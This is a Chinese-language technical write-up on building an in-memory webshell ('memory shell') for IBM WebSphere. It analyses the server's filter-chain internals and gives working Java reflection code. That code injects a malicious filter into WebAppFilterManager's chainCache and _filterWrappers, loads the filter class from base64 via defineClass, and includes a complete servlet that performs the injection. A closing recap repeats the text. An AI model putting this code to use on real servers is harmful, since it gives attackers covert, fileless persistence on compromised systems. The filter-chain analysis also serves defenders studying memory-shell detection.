WebSphere内存马分析
字数 1713 2025-08-25 22:58:46

WebSphere内存马分析与实现

环境部署

Docker环境搭建

docker pull ibmcom/websphere-traditional
docker run --name websphere -h websphere -e UPDATE_HOME=true -p 9043:9043 -p 9443:9443 -p 7777:7777 --restart=always -d ibmcom/websphere-traditional
docker exec -it websphere cat /tmp/PASSWORD

重要端口:

  • 9043端口:控制台端口
  • 9443端口:HTTPS端口
  • 7777端口:其他服务端口

登录后台:https://ip:9043/ibm/console,使用账号wsadmin/tmp/PASSWORD中的密码登录。

调试模式设置

  1. 进入WebSphere后台
  2. 设置WebSphere为Debug模式
  3. 绑定调试端口

基础组件分析

Filter和Servlet配置

示例web.xml配置:

<?xml version="1.0" encoding="UTF-8"?>
<web-app xmlns="http://xmlns.jcp.org/xml/ns/javaee"
         xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
         xsi:schemaLocation="http://xmlns.jcp.org/xml/ns/javaee http://xmlns.jcp.org/xml/ns/javaee/web-app_4_0.xsd"
         version="4.0">
    <filter>
        <filter-name>TestFilter</filter-name>
        <filter-class>TestFilter</filter-class>
    </filter>
    <filter-mapping>
        <filter-name>TestFilter</filter-name>
        <url-pattern>/test</url-pattern>
    </filter-mapping>
    <servlet>
        <servlet-name>TestServlet</servlet-name>
        <servlet-class>TestServlet</servlet-class>
    </servlet>
    <servlet-mapping>
        <servlet-name>TestServlet</servlet-name>
        <url-pattern>/test</url-pattern>
    </servlet-mapping>
</web-app>

Filter调用链分析

  1. FilterInstanceWrapper:调用实际Filter的包装类

    • this._filterInstance是通过构造方法传入的参数获取的
  2. WebAppFilterChain:通过(FilterInstanceWrapper)this._filters.get(this._currentFilterIndex)实例化FilterInstanceWrapper

    • this._filtersnew ArrayList()生成的
  3. WebAppFilterChain.addFilter:添加Filter到调用链

    • 方法中调用this._filters.add(fiw),其中fiwFilterInstanceWrapper类型
  4. WebAppFilterManager.getFilterChain():生成Filter调用链

    • 关键代码:newChain.addFilter(this.getFilterInstanceWrapper((String)filterNames.get(i)))
    • filterNames来自this.getFilterChainContents
    • fcc(FilterChainContents)来自WebAppFilterManager对象中的chainCache变量

内存马实现思路

核心步骤

  1. 获取WebAppFilterManager对象
  2. 实例化恶意Filter相关的FilterChainContents,添加到WebAppFilterManager.chainCache
  3. 实例化恶意Filter相关的FilterInstanceWrapper,添加到WebAppFilterManager._filterWrappers

详细实现

1. 获取WebAppFilterManager对象

private static WebAppImpl context;
private static synchronized void GetWebContent() throws Exception {
    try {
        Object[] wsThreadLocals = (Object[]) GetField(Thread.currentThread(), "wsThreadLocals");
        for (int i = 0; i < wsThreadLocals.length; i++) {
            if (wsThreadLocals[i] != null && wsThreadLocals[i].getClass().getName().contains("WebContainerRequestState")) {
                currentThreadsIExtendedRequest = (SRTServletRequest) GetField(wsThreadLocals[i], "currentThreadsIExtendedRequest");
            }
        }
        ServletContext servletContext = currentThreadsIExtendedRequest.getServletContext();
        context = (WebAppImpl) GetField(servletContext, "context");
    } catch (Exception e) {
        e.printStackTrace();
    }
}

private static synchronized Object GetField(Object o, String k) throws Exception {
    Field f;
    try {
        f = o.getClass().getDeclaredField(k);
    } catch (NoSuchFieldException e) {
        try {
            f = o.getClass().getSuperclass().getDeclaredField(k);
        } catch (Exception e1) {
            f = o.getClass().getSuperclass().getSuperclass().getDeclaredField(k);
        }
    }
    f.setAccessible(true);
    return f.get(o);
}

2. 实例化FilterChainContents并添加到chainCache

private static synchronized void InjectFilter() throws Exception {
    try {
        if (context != null) {
            filterManager = (WebAppFilterManagerImpl) GetField(context, "filterManager");
            chainCache = (Map<String, Object>) GetField(filterManager, "chainCache");
            
            Constructor constructor = Class.forName("com.ibm.ws.webcontainer.filter.FilterChainContents")
                                         .getDeclaredConstructor();
            constructor.setAccessible(true);
            Object filterChainContents = constructor.newInstance();
            
            ArrayList _filterNames = (ArrayList) GetField(filterChainContents, "_filterNames");
            _filterNames.add(filterName);
            SetField(filterChainContents, "_hasFilters", true);
            chainCache.put(url, filterChainContents);
            // ... 后续代码
        }
    } catch (Exception e) {
        e.printStackTrace();
    }
}

3. 实例化FilterInstanceWrapper并添加到_filterWrappers

// 继续InjectFilter方法中的代码
_filterWrappers = (Hashtable<String, FilterInstanceWrapper>) GetField(filterManager, "_filterWrappers");
javax.servlet.Filter filter = (Filter) Thread.currentThread().getContextClassLoader()
                                            .loadClass(filterClassName).newInstance();
WebAppEventSource _evtSource = (WebAppEventSource) GetField(filterManager, "_evtSource");
ManagedObject filterMo = context.createManagedObject(filter);
FilterInstanceWrapper filterInstanceWrapper = new FilterInstanceWrapper(filterName, filterMo, _evtSource);

SetField(filterInstanceWrapper, "_filterState", 2);
Object webAppConfig = GetField(filterManager, "webAppConfig");
FilterConfig filterConfig = new FilterConfig(filterName, (WebAppConfig) webAppConfig);

HashSet<DispatcherType> set = new HashSet();
set.add(DispatcherType.REQUEST);
filterConfig.addMappingForUrlPatterns(EnumSet.of(DispatcherType.REQUEST), true, url);
SetField(filterInstanceWrapper, "_filterConfig", filterConfig);

_filterWrappers.put(filterName, filterInstanceWrapper);
SetField(filterManager, "_filtersDefined", true);

关键注意事项

  1. 类型转换问题

    • 实例化FilterInstanceWrapper时,需要传入的参数为ManagedObject<Filter>类型
    • 早期版本WebSphere中是Filter类型的参数
  2. 状态设置

    • _filtersDefined需要设置为true,因为代码中有相关判断
    • _filterState需要设置为2,因为代码中有_filterState==2的校验
  3. 动态加载Filter类

    private static synchronized void LoadFilter() throws Exception {
        try {
            Thread.currentThread().getContextClassLoader().loadClass(filterClassName).newInstance();
        } catch (Exception e) {
            Method a = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, Integer.TYPE, Integer.TYPE);
            a.setAccessible(true);
            byte[] b = (new BASE64Decoder()).decodeBuffer("恶意Filter.class | base64");
            a.invoke(Thread.currentThread().getContextClassLoader(), b, 0, b.length);
        }
    }
    

常见问题解决

类型转换异常

在通过YAML反序列化注入内存马时,可能会出现(SRTServletRequest)强制类型转换异常。这是因为:

  1. 反序列化环境与Servlet环境不同
  2. 线程上下文可能没有正确初始化

解决方案:

  • 确保在正确的线程上下文中执行
  • 检查wsThreadLocals数组内容
  • 考虑使用其他注入方式,如直接在Servlet中实现

完整内存马示例

public class TestServlet extends HttpServlet {
    private static String filterName = "HFilter";
    private static String filterClassName = "com.sso.HFilter";
    private static String url = "/ccc";
    private static SRTServletRequest currentThreadsIExtendedRequest = null;
    private static WebAppImpl context;
    private static WebAppFilterManagerImpl filterManager = null;
    private static Map<String, Object> chainCache = null;
    private static Hashtable<String, FilterInstanceWrapper> _filterWrappers;

    @Override
    protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
        try {
            LoadFilter();
            GetWebContent();
            InjectFilter();
            resp.getWriter().println("Memory Shell Injected");
        } catch (Exception e) {
            e.printStackTrace();
        }
    }
    
    // 其他方法同上...
}

总结

WebSphere内存马实现的关键在于:

  1. 理解WebSphere的Filter调用链机制
  2. 正确获取和操作WebAppFilterManager及其内部数据结构
  3. 处理WebSphere特有的ManagedObject包装
  4. 确保所有必要的状态标志被正确设置

通过反射和动态类加载技术,可以在不修改磁盘文件的情况下,实现内存马的注入和持久化。

WebSphere内存马分析与实现 环境部署 Docker环境搭建 重要端口: 9043端口:控制台端口 9443端口:HTTPS端口 7777端口:其他服务端口 登录后台: https://ip:9043/ibm/console ,使用账号 wsadmin 和 /tmp/PASSWORD 中的密码登录。 调试模式设置 进入WebSphere后台 设置WebSphere为Debug模式 绑定调试端口 基础组件分析 Filter和Servlet配置 示例 web.xml 配置: Filter调用链分析 FilterInstanceWrapper :调用实际Filter的包装类 this._filterInstance 是通过构造方法传入的参数获取的 WebAppFilterChain :通过 (FilterInstanceWrapper)this._filters.get(this._currentFilterIndex) 实例化FilterInstanceWrapper this._filters 是 new ArrayList() 生成的 WebAppFilterChain.addFilter :添加Filter到调用链 方法中调用 this._filters.add(fiw) ,其中 fiw 为 FilterInstanceWrapper 类型 WebAppFilterManager.getFilterChain() :生成Filter调用链 关键代码: newChain.addFilter(this.getFilterInstanceWrapper((String)filterNames.get(i))) filterNames 来自 this.getFilterChainContents fcc (FilterChainContents)来自 WebAppFilterManager 对象中的 chainCache 变量 内存马实现思路 核心步骤 获取 WebAppFilterManager 对象 实例化恶意Filter相关的 FilterChainContents ,添加到 WebAppFilterManager.chainCache 实例化恶意Filter相关的 FilterInstanceWrapper ,添加到 WebAppFilterManager._filterWrappers 详细实现 1. 获取WebAppFilterManager对象 2. 实例化FilterChainContents并添加到chainCache 3. 实例化FilterInstanceWrapper并添加到_ filterWrappers 关键注意事项 类型转换问题 : 实例化 FilterInstanceWrapper 时,需要传入的参数为 ManagedObject<Filter> 类型 早期版本WebSphere中是 Filter 类型的参数 状态设置 : _filtersDefined 需要设置为 true ,因为代码中有相关判断 _filterState 需要设置为 2 ,因为代码中有 _filterState==2 的校验 动态加载Filter类 : 常见问题解决 类型转换异常 在通过YAML反序列化注入内存马时,可能会出现 (SRTServletRequest) 强制类型转换异常。这是因为: 反序列化环境与Servlet环境不同 线程上下文可能没有正确初始化 解决方案: 确保在正确的线程上下文中执行 检查 wsThreadLocals 数组内容 考虑使用其他注入方式,如直接在Servlet中实现 完整内存马示例 总结 WebSphere内存马实现的关键在于: 理解WebSphere的Filter调用链机制 正确获取和操作 WebAppFilterManager 及其内部数据结构 处理WebSphere特有的 ManagedObject 包装 确保所有必要的状态标志被正确设置 通过反射和动态类加载技术,可以在不修改磁盘文件的情况下,实现内存马的注入和持久化。